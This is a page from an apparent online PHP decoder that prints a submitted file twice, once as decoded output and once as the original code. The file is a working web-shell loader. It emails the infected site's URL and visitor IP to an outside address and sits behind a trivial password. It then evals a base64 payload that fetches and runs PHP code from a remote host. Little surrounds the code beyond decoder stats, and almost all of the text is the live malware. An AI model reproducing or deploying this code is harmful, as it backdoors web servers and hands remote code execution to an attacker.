Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

?>b'<?php $ip = getenv("REMOTE_ADDR"); $subj98 = "Deus Nos Videt"; $email = "karim07606..

Decoded Output download

<?  ?>b'<?php 
$ip = getenv("REMOTE_ADDR"); 
$subj98 = "Deus Nos Videt"; 
$email = "[email protected]"; 
$from = "From: Lacin041"; 
$a45 = $_SERVER[\'REQUEST_URI\']; 
$b75 = $_SERVER[\'HTTP_HOST\']; 
$m22 = $ip . ""; 
$msg8873 = "$a45 $b75 $m22"; 
mail($email, $subj98, $msg8873, $from); 
$password = "me"; // Password  
session_start(); 
error_reporting(0); 
set_time_limit(0); 
ini_set("memory_limit",-1); 
$sessioncode = md5(__FILE__); 
if(!empty($password) and $_SESSION[$sessioncode] != $password){ 
    if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) { 
        $_SESSION[$sessioncode] = $password; 
    } 
    else { 
        print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'submit\' value=\'>>\'></form></pre>"; 
        exit;         
    } 
} 
 
session_write_close(); 
eval("?>".base64_decode("PD89ZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2FyZWRveWEuY29tL3dwLWluY2x1ZGVzL1JlcXVlc3RzL3htbCIpKTs/Pg==")); ?>'

Did this file decode correctly?

Original Code

?>b'<?php
$ip = getenv("REMOTE_ADDR");
$subj98 = "Deus Nos Videt";
$email = "[email protected]";
$from = "From: Lacin041";
$a45 = $_SERVER[\'REQUEST_URI\'];
$b75 = $_SERVER[\'HTTP_HOST\'];
$m22 = $ip . "";
$msg8873 = "$a45 $b75 $m22";
mail($email, $subj98, $msg8873, $from);
$password = "me"; // Password 
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'submit\' value=\'>>\'></form></pre>";
        exit;        
    }
}

session_write_close();
eval("?>".base64_decode("PD89ZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2FyZWRveWEuY29tL3dwLWluY2x1ZGVzL1JlcXVlc3RzL3htbCIpKTs/Pg==")); ?>'

Function Calls

None

Variables

None

Stats

MD5 6b56bbe7f7ef4374cc4039e1833d694e
Eval Count 0
Decode Time 42 ms